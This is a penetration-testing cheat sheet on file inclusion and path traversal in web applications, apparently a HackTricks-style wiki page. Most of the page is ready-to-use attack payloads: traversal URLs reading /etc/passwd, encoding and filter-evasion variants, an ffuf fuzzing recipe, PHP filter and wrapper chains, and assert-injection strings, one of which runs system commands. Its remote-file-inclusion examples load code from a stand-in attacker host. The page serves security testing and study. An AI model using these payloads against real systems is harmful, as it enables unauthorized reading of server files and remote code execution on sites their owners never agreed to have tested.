File Inclusion & Path Traversal

Theory

File Inclusion refers to a vulnerability in web applications where an attacker can manipulate input parameters to include local or remote files on the application's running code. Path traversal (directory traversal) refers to a vulnerability where an attacker manipulate input parameters to obtain the contents of a file outside of the web server's web root.

While directory traversal only allows us to access sensitive files stored on the server, such as configuration files, SSH keys, using a file inclusion, we may be able to execute local or remote files.

There are two types of file inclusion vulnerability:

Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file.

#Here is a very simple example of an LFI:
http://example.com/index.php?page=../../../etc/passwd

#Here is a very simple example of an RFI:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Practice

In PHP, functions vulnerable to LFI are: require, require_once, include, include_once

When using curl for LFI/RFI/Path Traversal testing, we should use the --path-as-is argument to prevent curl from editing our request

curl 'http://10.10.10.8/../../../../etc/passwd' --path-as-is

Basic LFI

You might be able to use nested traversal sequences, such as ....// or ....\/, which will revert to simple traversal sequences when the inner sequence is stripped.

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters, resulting in %2e%2e%2f or %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also do the trick.

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Maybe the back-end is checking the folder path:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files.

identify the "depth" of you current directory by succesfully retrieving /etc/passwd (if on Linux):

http://example.com/index.php?page=../../../etc/passwd # depth of 3

try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to /etc/passwd:

http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd

if the application is vulnerable, there might be two different outcomes to the request: an error / no output, the private folder does not exist at this location; if you get the content from /etc/passwd, you validated that there is indeed a privatefolder in your current directory

We can weaponize this process using ffuf and sed:

# Adapt to your needs
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

LFI filter evasion

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.

#Always try to start the path with a fake directory (a/).url
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
#This vulnerability was corrected in PHP 5.3.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Here are some payload that may evade filters

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd

LFI / RFI using PHP filters

Using string filters, we can processe all stream data through the specified function

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
http://example.com/index.php?page=php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd

## Same chain without the "|" char
http://example.com/index.php?page=php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd

## string.string_tags example
http://example.com/index.php?page=php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code;?>lalalala

Like the string.* filters, the convert.* filters perform conversion actions similar to their names.

# Conversion filter
## B64 decode
http://example.com/index.php?page=php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=

## B64 encode
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

## Chain B64 encode and decode
http://example.com/index.php?page=php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd

## convert.quoted-printable-encode example
http://example.com/index.php?page=php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=
=C2=A3hellooo=3D

## convert.iconv.utf-8.utf-16le
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=

The Compression Wrappers provide a way of creating gzip and bz2 compatible files on the local filesystem.

# Compresion Filter
## Compress + B64
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

#PHP code To decompress the data locally
readfile('php://filter/zlib.inflate/resource=test.deflated');

LFI / RFI using PHP protocols & wrappers

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

http://example.com/index.php?page=php://fd/3

Find more PHP wrappers on this page:

pagePHP Wrappers

LFI using PHP's assert

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.

For example, with following code is vulnerable assuming that the $file parameter is vulnerable to LFI

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

The following payload may work (be sure to URL-encode payloads before you send them):

#Include files
' and die(show_source('/etc/passwd')) or '

#RCE
' and die(system("whoami")) or '

References

File Inclusion/Path traversalHackTricks

Last updated 8 months ago